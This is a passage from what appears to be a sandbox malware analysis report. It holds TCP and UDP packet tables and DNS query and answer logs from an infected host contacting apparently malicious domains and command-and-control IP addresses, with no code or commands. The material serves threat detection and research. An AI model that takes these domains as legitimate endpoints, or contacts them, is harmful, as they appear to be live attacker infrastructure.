Aug 31, 2022 08:34:46.596065044 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.596076012 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.596102953 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.597031116 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.597105980 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.597126007 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.598531961 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.598604918 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.598619938 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.600234985 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.600305080 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.600315094 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.600337029 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.600358963 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.600366116 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.600423098 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.600435019 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.601855993 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.601911068 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.601949930 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.601967096 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.601982117 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.602969885 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.603049994 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.603054047 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.603072882 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.603094101 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.603100061 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.603121996 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.603131056 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.604634047 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.604757071 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.604823112 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.604826927 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.604844093 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.604877949 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.604888916 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.604902029 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.604918957 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.606261969 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.606359005 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.606378078 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.607337952 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.607424974 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.607444048 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.607465029 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.607496023 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.608155012 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.608223915 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.608237028 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.609405041 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.609492064 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.609508038 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.611567974 CEST	49777	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:46.622936964 CEST	80	49776	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:46.623177052 CEST	49776	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.623663902 CEST	80	49776	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:46.623735905 CEST	49776	80	192.168.2.3	194.87.94.240
Aug 31, 2022 08:34:46.632519960 CEST	80	49771	45.136.151.102	192.168.2.3
Aug 31, 2022 08:34:46.632622004 CEST	49771	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:46.683828115 CEST	80	49776	194.87.94.240	192.168.2.3
Aug 31, 2022 08:34:46.729834080 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:46.729865074 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.761102915 CEST	80	49777	45.136.151.102	192.168.2.3
Aug 31, 2022 08:34:46.762170076 CEST	49777	80	192.168.2.3	45.136.151.102
Aug 31, 2022 08:34:46.850048065 CEST	443	49769	104.21.40.196	192.168.2.3
Aug 31, 2022 08:34:46.850775003 CEST	49769	443	192.168.2.3	104.21.40.196
Aug 31, 2022 08:34:47.333623886 CEST	80	49767	196.200.111.5	192.168.2.3
Aug 31, 2022 08:34:47.333657980 CEST	80	49767	196.200.111.5	192.168.2.3
Aug 31, 2022 08:34:47.333769083 CEST	49767	80	192.168.2.3	196.200.111.5
Aug 31, 2022 08:35:17.670407057 CEST	80	49767	196.200.111.5	192.168.2.3
Aug 31, 2022 08:35:36.149470091 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:35:36.149665117 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:35:36.149718046 CEST	49763	80	192.168.2.3	85.209.157.230
Aug 31, 2022 08:35:36.318229914 CEST	80	49763	85.209.157.230	192.168.2.3
Aug 31, 2022 08:35:43.651283979 CEST	80	49768	208.95.112.1	192.168.2.3
Aug 31, 2022 08:35:46.913108110 CEST	80	49777	45.136.151.102	192.168.2.3
Aug 31, 2022 08:35:46.913265944 CEST	49777	80	192.168.2.3	45.136.151.102

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Aug 31, 2022 08:33:37.331037998 CEST	55638	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:33:37.438831091 CEST	53	55638	8.8.8.8	192.168.2.3
Aug 31, 2022 08:33:49.333376884 CEST	65320	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:33:49.355593920 CEST	53	65320	8.8.8.8	192.168.2.3
Aug 31, 2022 08:33:49.364022017 CEST	60767	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:33:49.687370062 CEST	53	60767	8.8.8.8	192.168.2.3
Aug 31, 2022 08:33:49.707294941 CEST	65107	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:33:50.016443014 CEST	53	65107	8.8.8.8	192.168.2.3
Aug 31, 2022 08:33:50.034301996 CEST	53848	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:33:50.082717896 CEST	53	53848	8.8.8.8	192.168.2.3
Aug 31, 2022 08:33:50.104417086 CEST	57571	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:33:50.123910904 CEST	53	57571	8.8.8.8	192.168.2.3
Aug 31, 2022 08:33:50.136517048 CEST	58691	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:33:50.424988031 CEST	53	58691	8.8.8.8	192.168.2.3
Aug 31, 2022 08:33:52.613595009 CEST	53305	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:33:52.943871975 CEST	53	53305	8.8.8.8	192.168.2.3
Aug 31, 2022 08:33:54.454673052 CEST	59433	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:33:54.487706900 CEST	53	59433	8.8.8.8	192.168.2.3
Aug 31, 2022 08:33:57.393357992 CEST	56949	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:33:57.664669991 CEST	53	56949	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:01.336483002 CEST	52547	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:01.604899883 CEST	53	52547	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:09.851293087 CEST	65017	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:10.126791000 CEST	53	65017	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:11.858414888 CEST	53466	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:11.878418922 CEST	53	53466	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:17.067729950 CEST	53623	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:17.379890919 CEST	53	53623	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:17.799089909 CEST	65196	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:17.997426987 CEST	53	65196	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:18.551301003 CEST	58708	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:18.651249886 CEST	53	58708	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:19.140094995 CEST	59581	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:19.267021894 CEST	53	59581	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:22.189492941 CEST	53049	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:22.209125996 CEST	53	53049	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:23.684659004 CEST	60088	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:23.704744101 CEST	53	60088	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:25.256726027 CEST	63562	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:25.280092955 CEST	53	63562	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:25.912379980 CEST	53428	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:25.935066938 CEST	53	53428	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:27.447458029 CEST	65511	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:27.467176914 CEST	53	65511	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:28.206960917 CEST	59820	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:28.224718094 CEST	53	59820	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:28.891097069 CEST	64595	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:28.917311907 CEST	53	64595	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:37.191524029 CEST	58119	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:37.209081888 CEST	53	58119	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:38.568304062 CEST	49166	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:38.587940931 CEST	53	49166	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:40.611677885 CEST	58301	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:40.633600950 CEST	53	58301	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:42.621846914 CEST	63446	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:42.961673975 CEST	53	63446	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:44.128637075 CEST	49874	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:44.235886097 CEST	53	49874	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:44.529002905 CEST	65459	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:44.548213005 CEST	53	65459	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:44.885123014 CEST	65385	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:45.178261995 CEST	53	65385	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:45.314996004 CEST	54153	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:45.655126095 CEST	53	54153	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:45.792020082 CEST	64602	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:45.809425116 CEST	53	64602	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:45.989315987 CEST	50784	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:46.280257940 CEST	53	50784	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:46.446258068 CEST	64121	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:46.463943005 CEST	53	64121	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:46.590076923 CEST	64967	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:46.609613895 CEST	53	64967	8.8.8.8	192.168.2.3
Aug 31, 2022 08:34:46.630089998 CEST	60825	53	192.168.2.3	8.8.8.8
Aug 31, 2022 08:34:46.938070059 CEST	53	60825	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Aug 31, 2022 08:33:37.331037998 CEST	192.168.2.3	8.8.8.8	0x102a	Standard query (0)	monsutiur4.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:49.333376884 CEST	192.168.2.3	8.8.8.8	0x81f1	Standard query (0)	nusurionuy5ff.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:49.364022017 CEST	192.168.2.3	8.8.8.8	0xec8c	Standard query (0)	moroitomo4.net	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:49.707294941 CEST	192.168.2.3	8.8.8.8	0x9ca8	Standard query (0)	susuerulianita1.net	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.034301996 CEST	192.168.2.3	8.8.8.8	0x2d32	Standard query (0)	cucumbetuturel4.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.104417086 CEST	192.168.2.3	8.8.8.8	0xe79a	Standard query (0)	nunuslushau.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.136517048 CEST	192.168.2.3	8.8.8.8	0x6fe7	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.613595009 CEST	192.168.2.3	8.8.8.8	0xd1ab	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:54.454673052 CEST	192.168.2.3	8.8.8.8	0x27db	Standard query (0)	beijaflor.nu	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.393357992 CEST	192.168.2.3	8.8.8.8	0x259c	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.336483002 CEST	192.168.2.3	8.8.8.8	0x147f	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:09.851293087 CEST	192.168.2.3	8.8.8.8	0xd9d5	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:11.858414888 CEST	192.168.2.3	8.8.8.8	0xe07d	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.067729950 CEST	192.168.2.3	8.8.8.8	0xfbab	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:17.799089909 CEST	192.168.2.3	8.8.8.8	0x857e	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:18.551301003 CEST	192.168.2.3	8.8.8.8	0x4d01	Standard query (0)	amrhomedecor.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:19.140094995 CEST	192.168.2.3	8.8.8.8	0xa676	Standard query (0)	www.amrhomedecor.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:22.189492941 CEST	192.168.2.3	8.8.8.8	0x8d86	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:23.684659004 CEST	192.168.2.3	8.8.8.8	0x172c	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:25.256726027 CEST	192.168.2.3	8.8.8.8	0x20d9	Standard query (0)	i.xyzgamei.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:25.912379980 CEST	192.168.2.3	8.8.8.8	0x4be0	Standard query (0)	b.game2723.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:27.447458029 CEST	192.168.2.3	8.8.8.8	0xd96d	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.206960917 CEST	192.168.2.3	8.8.8.8	0xb42e	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:28.891097069 CEST	192.168.2.3	8.8.8.8	0xa364	Standard query (0)	stylesheet.faseaegasdfase.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:37.191524029 CEST	192.168.2.3	8.8.8.8	0xcdff	Standard query (0)	linislominyt11.at	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:38.568304062 CEST	192.168.2.3	8.8.8.8	0x4307	Standard query (0)	ip-api.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:40.611677885 CEST	192.168.2.3	8.8.8.8	0x6bb6	Standard query (0)	v.xyzgamev.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:42.621846914 CEST	192.168.2.3	8.8.8.8	0x1af	Standard query (0)	ilaboqbdeqwem.xyz	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:44.128637075 CEST	192.168.2.3	8.8.8.8	0x9e1e	Standard query (0)	ilabonjsnmwiy.top	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:44.529002905 CEST	192.168.2.3	8.8.8.8	0x54fe	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:44.885123014 CEST	192.168.2.3	8.8.8.8	0xc0f2	Standard query (0)	ilabonjsnmwiy.top	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:45.314996004 CEST	192.168.2.3	8.8.8.8	0x700a	Standard query (0)	ilabonjsnmwiy.top	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:45.792020082 CEST	192.168.2.3	8.8.8.8	0x6f25	Standard query (0)	ilabonjsnmwiy.top	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:45.989315987 CEST	192.168.2.3	8.8.8.8	0xbef7	Standard query (0)	ilabonjsnmwiy.top	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:46.446258068 CEST	192.168.2.3	8.8.8.8	0x8a64	Standard query (0)	ilabonjsnmwiy.top	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:46.590076923 CEST	192.168.2.3	8.8.8.8	0xd64f	Standard query (0)	www.hhiuew33.com	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:46.630089998 CEST	192.168.2.3	8.8.8.8	0xe302	Standard query (0)	ilabonjsnmwiy.top	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Aug 31, 2022 08:33:37.438831091 CEST	8.8.8.8	192.168.2.3	0x102a	No error (0)	monsutiur4.com		185.237.206.60	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:49.355593920 CEST	8.8.8.8	192.168.2.3	0x81f1	Name error (3)	nusurionuy5ff.at	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:49.687370062 CEST	8.8.8.8	192.168.2.3	0xec8c	Name error (3)	moroitomo4.net	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.016443014 CEST	8.8.8.8	192.168.2.3	0x9ca8	Name error (3)	susuerulianita1.net	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.082717896 CEST	8.8.8.8	192.168.2.3	0x2d32	Name error (3)	cucumbetuturel4.com	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.123910904 CEST	8.8.8.8	192.168.2.3	0xe79a	Name error (3)	nunuslushau.com	none	none	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.424988031 CEST	8.8.8.8	192.168.2.3	0x6fe7	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.424988031 CEST	8.8.8.8	192.168.2.3	0x6fe7	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.424988031 CEST	8.8.8.8	192.168.2.3	0x6fe7	No error (0)	linislominyt11.at		37.34.248.24	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.424988031 CEST	8.8.8.8	192.168.2.3	0x6fe7	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.424988031 CEST	8.8.8.8	192.168.2.3	0x6fe7	No error (0)	linislominyt11.at		190.107.133.19	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.424988031 CEST	8.8.8.8	192.168.2.3	0x6fe7	No error (0)	linislominyt11.at		211.53.230.67	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.424988031 CEST	8.8.8.8	192.168.2.3	0x6fe7	No error (0)	linislominyt11.at		175.120.254.9	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.424988031 CEST	8.8.8.8	192.168.2.3	0x6fe7	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.424988031 CEST	8.8.8.8	192.168.2.3	0x6fe7	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:50.424988031 CEST	8.8.8.8	192.168.2.3	0x6fe7	No error (0)	linislominyt11.at		116.121.62.237	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.943871975 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	linislominyt11.at		196.200.111.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.943871975 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.943871975 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.943871975 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	linislominyt11.at		151.251.24.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.943871975 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	linislominyt11.at		181.197.121.228	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.943871975 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	linislominyt11.at		195.158.3.162	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.943871975 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.943871975 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.943871975 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	linislominyt11.at		175.119.10.231	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:52.943871975 CEST	8.8.8.8	192.168.2.3	0xd1ab	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:54.487706900 CEST	8.8.8.8	192.168.2.3	0x27db	No error (0)	beijaflor.nu		91.217.57.30	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.664669991 CEST	8.8.8.8	192.168.2.3	0x259c	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.664669991 CEST	8.8.8.8	192.168.2.3	0x259c	No error (0)	linislominyt11.at		196.200.111.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.664669991 CEST	8.8.8.8	192.168.2.3	0x259c	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.664669991 CEST	8.8.8.8	192.168.2.3	0x259c	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.664669991 CEST	8.8.8.8	192.168.2.3	0x259c	No error (0)	linislominyt11.at		151.251.24.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.664669991 CEST	8.8.8.8	192.168.2.3	0x259c	No error (0)	linislominyt11.at		181.197.121.228	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.664669991 CEST	8.8.8.8	192.168.2.3	0x259c	No error (0)	linislominyt11.at		195.158.3.162	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.664669991 CEST	8.8.8.8	192.168.2.3	0x259c	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.664669991 CEST	8.8.8.8	192.168.2.3	0x259c	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:33:57.664669991 CEST	8.8.8.8	192.168.2.3	0x259c	No error (0)	linislominyt11.at		175.119.10.231	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.604899883 CEST	8.8.8.8	192.168.2.3	0x147f	No error (0)	linislominyt11.at		151.251.24.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.604899883 CEST	8.8.8.8	192.168.2.3	0x147f	No error (0)	linislominyt11.at		181.197.121.228	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.604899883 CEST	8.8.8.8	192.168.2.3	0x147f	No error (0)	linislominyt11.at		195.158.3.162	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.604899883 CEST	8.8.8.8	192.168.2.3	0x147f	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.604899883 CEST	8.8.8.8	192.168.2.3	0x147f	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.604899883 CEST	8.8.8.8	192.168.2.3	0x147f	No error (0)	linislominyt11.at		175.119.10.231	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.604899883 CEST	8.8.8.8	192.168.2.3	0x147f	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.604899883 CEST	8.8.8.8	192.168.2.3	0x147f	No error (0)	linislominyt11.at		196.200.111.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.604899883 CEST	8.8.8.8	192.168.2.3	0x147f	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:01.604899883 CEST	8.8.8.8	192.168.2.3	0x147f	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:10.126791000 CEST	8.8.8.8	192.168.2.3	0xd9d5	No error (0)	linislominyt11.at		196.200.111.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:10.126791000 CEST	8.8.8.8	192.168.2.3	0xd9d5	No error (0)	linislominyt11.at		24.232.210.245	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:10.126791000 CEST	8.8.8.8	192.168.2.3	0xd9d5	No error (0)	linislominyt11.at		190.225.159.63	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:10.126791000 CEST	8.8.8.8	192.168.2.3	0xd9d5	No error (0)	linislominyt11.at		151.251.24.5	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:10.126791000 CEST	8.8.8.8	192.168.2.3	0xd9d5	No error (0)	linislominyt11.at		181.197.121.228	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:10.126791000 CEST	8.8.8.8	192.168.2.3	0xd9d5	No error (0)	linislominyt11.at		195.158.3.162	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:10.126791000 CEST	8.8.8.8	192.168.2.3	0xd9d5	No error (0)	linislominyt11.at		109.98.58.98	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:10.126791000 CEST	8.8.8.8	192.168.2.3	0xd9d5	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:10.126791000 CEST	8.8.8.8	192.168.2.3	0xd9d5	No error (0)	linislominyt11.at		175.119.10.231	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:10.126791000 CEST	8.8.8.8	192.168.2.3	0xd9d5	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:11.878418922 CEST	8.8.8.8	192.168.2.3	0xe07d	No error (0)	linislominyt11.at		187.195.146.2	A (IP address)	IN (0x0001)
Aug 31, 2022 08:34:11.878418922 CEST	8.8.8.8	192.168.2.3	0xe07d	No error (0)	linislominyt11.at		190.147.189.122	A (IP address)	IN (0x0001)
